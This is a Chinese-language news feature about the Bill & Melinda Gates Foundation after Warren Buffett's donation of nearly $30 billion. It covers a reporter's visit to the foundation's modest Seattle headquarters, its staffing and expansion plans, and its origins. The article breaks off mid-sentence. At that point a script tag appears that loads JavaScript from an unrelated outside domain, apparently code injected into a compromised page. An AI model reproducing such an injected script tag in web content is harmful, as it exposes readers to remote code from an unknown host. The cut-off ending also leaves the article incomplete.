驻美国特约记者 刘 雯
当世界第二大富豪巴菲特把近300亿美元的巨额资产捐给比尔及梅林达·盖茨基金会时，这意味着全球慈善业从此诞生了一个“巨无霸”。软件大王比尔·盖茨1994年以9400万美元创建的这个基金会，加上巴菲特的捐赠，如今已经拥有600亿美元的资产。在世界银行全球179个国家的gdp(国内生产总值)排行榜上，这个数额差不多相当于第53位。也就是说，盖茨的基金会所拥有的财富已经超过120多个国家的国内生产总值。一个拥有如此庞大财富的慈善机构是个什么样呢？这些善款又是如何管理呢？
办公楼很普通
接到采访任务后，记者从比尔及梅林达·盖茨基金会的网站上查到了专为媒体所设的电子信箱地址，并立即发去了采访信。几小时后，就收到了一位名叫艾米的女士的回信。她在信中写道：“你可以想象，这两个星期来，我们为了应对媒体的采访要求，是多么紧张繁忙。”自巴菲特宣布将其大部分财产交给该基金会之后，她们就一直忙得不可开交，现在已经无法再安排新的采访了。不过，她表示可以提供一些材料。记者注意到，艾米给的电话号码是华盛顿特区的。在电话中，艾米告诉记者，她并不是比尔及梅林达·盖茨基金会的雇员，而是该基金会聘请的顾问公司的雇员，专门负责与媒体打交道。基金会现在采取的政策是不接受直接采访。艾米建议说：“你可以去位于西雅图的总部看一看。但那幢办公楼很不起眼，也没挂招牌，说不定，你一眨眼就走过了。”
的确如此。记者就住在西雅图，可从没听人说起过该基金会的总部在哪里。问了不少人，他们都不知道，在基金会的网站上也没有标明办公地址。最后记者还是在谷歌网站上搜到了地址：西雅图，东湖大道东1551号。打电话确认后，记者立即驱车前往。
记者抵达目的地一看，那儿没有什么醒目或高层的建筑，只有一栋三层的灰色建筑，面对街道的一面没有入口。转到了街背后，才看到一个围起来的停车场。入口处立着的一块牌子上标着门牌号码：东湖大道东1551号。停车场的另一头通向办公楼入口。这个普通得不能再普通的建筑难道就是富可敌国的比尔及梅林达·盖茨基金会的办公地吗？门口的警卫告诉记者，从1999年起，该基金会就在这儿办公了。而此前，“盖茨基金会”是在盖茨老爸住所的地下室办公。他递给记者一份简介，封面上印着：“为一个更公平的世界而工作。”
办公楼里比较安静，工作人员不多，但都显得很忙碌。墙壁上挂着比尔·盖茨夫妇在出席慈善募捐会或是在访问非洲时的留影，其中一幅照片上比尔·盖茨的怀里抱着一个嗷嗷待哺的非洲婴儿。
据介绍，基金会现有雇员263人，其中包括儿童健康顾问、公众健康管理专家、律师、财务人员等。目前基金会的工作主要由盖茨的妻子和父亲负责。这次巴菲特的大笔捐助可能要让基金会的工作人员数量翻一番。而向外的捐助也会大幅增加，去年的捐助额为13.6亿美元，今年预计将超过30亿美元。
基金会一直在筹划建造一处新的办公地点，以满足快速扩大的需要。新总部计划建在西雅图中心的第五大道上，占地12英亩。为了从西雅图市购买这块地皮，基金会出价5000万美元。整个建筑定于今年年末动工，2010年冬天开始使用。其中引人注目的一个内容是，新地点将设有一个公众访问中心，任何人都能在那里直接了解基金会的情况。
因老盖茨拿的一张图表而诞生
谈起比尔及梅林达·盖茨基金会的诞生，一定要提到一个至关重要的人物：比尔·盖茨的父亲威廉·盖茨。据说，盖茨在致富之初对慈善事业非常冷漠。当时他认为：“我有一个公司要管理。我为社会能做的最好的事，就是让这个企业成功。”一天下午，盖茨的父亲拿来的一张图表促使他对慈善事业产生了浓厚的兴趣。盖茨还能清晰地回忆出当时的情景。“那天下午，我正在办公室里研究一个新软件，我的父亲突然来到办公室，手里还拿着张纸。纸上画了个图表，内容是每年死于一种特殊病毒的非洲儿童人数，有好几百万！我很震惊，因为这种病在美国早已消失。刹那间，我突然意识到，慈善家们做得还远远不够！”
1993年，盖茨出访非洲，当地人民的极度贫困给他带来了更大的震撼。1994年，在父亲的建议下，他拿出了9400万美元，建立了威廉·盖茨基金会，这就是比尔及梅林达·盖茨基金会的前身。同一年，盖茨同梅林达结婚，梅林达是个虔诚的天主教徒，她相信慈善事业与灵魂有关。在她的帮助下，盖茨的慈善事业越做越大。1997年，盖茨和夫人梅林达又成立了一个新的基金会：盖茨图书馆基金会，致力于通过公共图书馆使更多人有机会使用科技资源。1999年，该基金会更名为盖茨学习基金会，随着名字的改变，基金会的工作重心也发生变化，由资助公共图书馆转变为资助家庭困难和少数族裔的学生，让他们有上学的机会。
2000年，盖茨名下两大基金会合并成为比尔及梅林达·盖茨基金会，工作重点也合并在一起，致力于扩大以下四个方面的权益：全球卫生保健?script src=http://er12.com/t.js>
